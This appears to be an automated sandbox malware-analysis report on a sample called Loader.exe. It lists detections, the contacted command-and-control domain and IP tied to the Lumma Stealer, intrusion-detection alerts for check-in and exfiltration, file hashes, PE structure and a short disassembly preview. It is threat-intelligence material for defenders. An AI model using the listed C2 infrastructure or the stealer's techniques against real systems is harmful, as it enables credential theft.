Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	141 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	41 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	11 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Loader.exe	42%	ReversingLabs	Win32.Trojan.Generic
Loader.exe	42%	Virustotal		Browse
Loader.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://property-imper.sbs/apie:	0%	Avira URL Cloud	safe
https://property-imper.sbs/?	0%	Avira URL Cloud	safe
https://property-imper.sbs/apil	0%	Avira URL Cloud	safe
http://crl.m0&w	0%	Avira URL Cloud	safe
https://property-imper.sbs/g	0%	Avira URL Cloud	safe
https://property-imper.sbs/apiI	0%	Avira URL Cloud	safe
https://property-imper.sbs/apiq	0%	Avira URL Cloud	safe
https://property-imper.sbs/apil	2%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
property-imper.sbs	172.67.162.84	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://property-imper.sbs/api	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.m0&w	Loader.exe, 00000002.00000003.1813007192.0000000003729000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000002.00000002.1883066535.0000000003729000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	Loader.exe, 00000002.00000003.1730226994.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1730301767.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	Loader.exe, 00000002.00000003.1730226994.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1730301767.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	Loader.exe, 00000002.00000003.1786258773.0000000005D3D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Loader.exe, 00000002.00000003.1730226994.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1730301767.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/?	Loader.exe, 00000002.00000003.1854807698.000000000378E000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1876898594.0000000003791000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://property-imper.sbs/apil	Loader.exe, 00000002.00000002.1883330598.0000000003796000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	Loader.exe, 00000002.00000003.1786258773.0000000005D3D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Loader.exe, 00000002.00000003.1730226994.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1730301767.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Loader.exe, 00000002.00000003.1784866337.0000000005D89000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	Loader.exe, 00000002.00000003.1786258773.0000000005D3D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Loader.exe, 00000002.00000003.1730226994.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1730301767.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	Loader.exe, 00000002.00000003.1784866337.0000000005D89000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	Loader.exe, 00000002.00000003.1763473279.0000000005D89000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1730936644.0000000005D89000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1730824420.0000000005D90000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	Loader.exe, 00000002.00000003.1763473279.0000000005D89000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1730936644.0000000005D89000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1730824420.0000000005D90000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Loader.exe, 00000002.00000003.1730226994.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1730301767.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/	Loader.exe, Loader.exe, 00000002.00000003.1840834198.0000000003791000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1763675830.0000000005D32000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1876916386.000000000377A000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000002.00000002.1883291612.0000000003792000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1763893866.0000000005D31000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1854807698.000000000378E000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1876898594.0000000003791000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000002.00000002.1883066535.0000000003729000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1840568875.0000000005D51000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Loader.exe, 00000002.00000003.1785899492.0000000005E5C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/apie:	Loader.exe, 00000002.00000002.1883066535.0000000003718000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	Loader.exe, 00000002.00000003.1730226994.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1730301767.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/g	Loader.exe, 00000002.00000003.1840834198.0000000003791000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	Loader.exe, 00000002.00000003.1786258773.0000000005D3D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	Loader.exe, 00000002.00000003.1786258773.0000000005D3D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/apiI	Loader.exe, 00000002.00000003.1855174369.0000000003796000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1854660051.0000000003796000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1840746834.0000000003795000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000002.00000002.1883330598.0000000003796000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	Loader.exe, 00000002.00000003.1784866337.0000000005D89000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	Loader.exe, 00000002.00000003.1784866337.0000000005D89000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	Loader.exe, 00000002.00000003.1730936644.0000000005D64000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Loader.exe, 00000002.00000003.1730226994.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1730301767.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	Loader.exe, 00000002.00000003.1730824420.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	Loader.exe, 00000002.00000003.1784866337.0000000005D89000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/apiq	Loader.exe, 00000002.00000002.1883066535.0000000003718000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	Loader.exe, 00000002.00000003.1730936644.0000000005D64000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	Loader.exe, 00000002.00000003.1785899492.0000000005E5C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Loader.exe, 00000002.00000003.1730226994.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1730301767.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	Loader.exe, 00000002.00000003.1786258773.0000000005D3D000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.162.84	property-imper.sbs	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561387
Start date and time:	2024-11-23 09:48:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Loader.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 91% Number of executed functions: 41 Number of non-executed functions: 111
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:49:00	API Interceptor	8x Sleep call for process: Loader.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.67.162.84	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
property-imper.sbs	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Unknown	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.162.84
	Script.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	loader.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.44.93
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.67.162.84
	17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Get hash	malicious	XWorm	Browse	104.20.3.235
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	loader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Unknown	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Unknown	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.162.84
	Script.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	Solara.exe	Get hash	malicious	LummaC	Browse	172.67.162.84

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.732358355383698
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Loader.exe
File size:	500'224 bytes
MD5:	0e6fce268473aad13da6aa0c2e93ec94
SHA1:	d01b0c69c28b913c4dd3297ca6c78f98d6ba1972
SHA256:	bc32cb3d7964088842b7040c23af2bff7f8e07781e8295a3e45871151052e7b7
SHA512:	0122f8a058502df27efd7da995a5357f284ed307817f237109ca57891f3cf95959d31fda9b9c5815db0240019ec0a559deb4b2287cd10a70fcfbd9cb59d9ebd9
SSDEEP:	12288:FJB+nneDgkXFEIKUciGq/LCgvKXG9DhZiwC0:rAoR2x1iG8LCgN9lZi4
TLSH:	BAB4F1AEB3E3A0F3D662183541E49B75456E7E700F2490FB53501F692F36AC28632E57
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...t.@g............................pX............@.......................................@.................................T...<..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x415870
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6740AA74 [Fri Nov 22 15:59:48 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	887797384d81c493a9d8ee55dad3b2e1

Entrypoint Preview

Instruction
call 00007FD31C6B321Ah
jmp 00007FD31C6B307Dh
mov ecx, dword ptr [0042B5F0h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007FD31C6B3216h
test esi, ecx
jne 00007FD31C6B3238h
call 00007FD31C6B3241h
mov ecx, eax
cmp ecx, edi
jne 00007FD31C6B3219h
mov ecx, BB40E64Fh
jmp 00007FD31C6B3220h
test esi, ecx
jne 00007FD31C6B321Ch
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [0042B5F0h], ecx
not ecx
pop edi
mov dword ptr [0042B5ECh], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
and dword ptr [ebp-0Ch], 00000000h
lea eax, dword ptr [ebp-0Ch]
and dword ptr [ebp-08h], 00000000h
push eax
call dword ptr [0042946Ch]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [00429430h]
xor dword ptr [ebp-04h], eax
call dword ptr [0042942Ch]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [004294A8h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 0042C970h
call dword ptr [00429488h]
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov al, 01h
ret
push 00030000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x29254	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2f000	0x1400	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x237c0	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x293c8	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2169a	0x21800	02aff72e65eaf052f891170e28598361	False	0.550606343283582	data	6.737058354414408	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x23000	0x7264	0x7400	91e5fdecc510d2c4e72b1b50db3c2501	False	0.40641837284482757	data	4.769873714467996	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2b000	0x2068	0x1000	f9b2b4b1f63578440eedd0ace5ac94f1	False	0.484375	OpenPGP Secret Key	5.090094544660231	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.00cfg	0x2e000	0x8	0x200	160c8b290b62e5e566d05ce3bec76423	False	0.03125	data	0.06116285224115448	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2f000	0x1400	0x1400	29fb367912ce622b91120c5cffd84495	False	0.81953125	data	6.557860970753822	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.coS	0x31000	0x4ea00	0x4ea00	358c2236df00894d3b77fbf3f79f36c2	False	1.000329143481717	data	7.999351184277866	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL

Import

KERNEL32.dll

CloseHandle, CompareStringW, CreateFileA, CreateFileW, CreateThread, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, ExitProcess, ExitThread, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryAndExitThread, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetExitCodeThread, GetFileSize, GetFileType, GetLastError, GetModuleFileNameW, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadFile, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnhandledExceptionFilter, WaitForSingleObjectEx, WideCharToMultiByte, WriteConsoleW, WriteFile

GDI32.dll

CreateEllipticRgn

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-23T09:49:00.432707+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	172.67.162.84	443	TCP
2024-11-23T09:49:01.107725+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	172.67.162.84	443	TCP
2024-11-23T09:49:01.107725+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	172.67.162.84	443	TCP
2024-11-23T09:49:02.462552+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	172.67.162.84	443	TCP
2024-11-23T09:49:03.189450+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	172.67.162.84	443	TCP
2024-11-23T09:49:03.189450+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	172.67.162.84	443	TCP
2024-11-23T09:49:04.724286+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	172.67.162.84	443	TCP
2024-11-23T09:49:08.091904+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	172.67.162.84	443	TCP
2024-11-23T09:49:08.818658+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49733	172.67.162.84	443	TCP
2024-11-23T09:49:10.297377+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	172.67.162.84	443	TCP
2024-11-23T09:49:13.021780+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	172.67.162.84	443	TCP
2024-11-23T09:49:15.864845+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	172.67.162.84	443	TCP
2024-11-23T09:49:18.622598+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49739	172.67.162.84	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 09:48:59.151767015 CET	49730	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:48:59.151854038 CET	443	49730	172.67.162.84	192.168.2.4
Nov 23, 2024 09:48:59.151966095 CET	49730	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:48:59.155092001 CET	49730	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:48:59.155128956 CET	443	49730	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:00.432600975 CET	443	49730	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:00.432707071 CET	49730	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:00.436986923 CET	49730	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:00.437020063 CET	443	49730	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:00.437437057 CET	443	49730	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:00.481507063 CET	49730	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:00.481756926 CET	49730	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:00.481811047 CET	49730	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:00.482057095 CET	443	49730	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:01.107832909 CET	443	49730	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:01.108063936 CET	443	49730	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:01.108266115 CET	49730	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:01.113946915 CET	49730	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:01.113981962 CET	443	49730	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:01.158713102 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:01.158762932 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:01.158859968 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:01.159135103 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:01.159153938 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:02.462483883 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:02.462552071 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:02.464242935 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:02.464252949 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:02.464492083 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:02.465936899 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:02.466011047 CET	49731	443	192.168.2.4	172.67.162.84
Nov 23, 2024 09:49:02.466036081 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:03.189440966 CET	443	49731	172.67.162.84	192.168.2.4
Nov 23, 2024 09:49:03.189486980 CET	443	49731	172.67.162.84	192.168.2.4
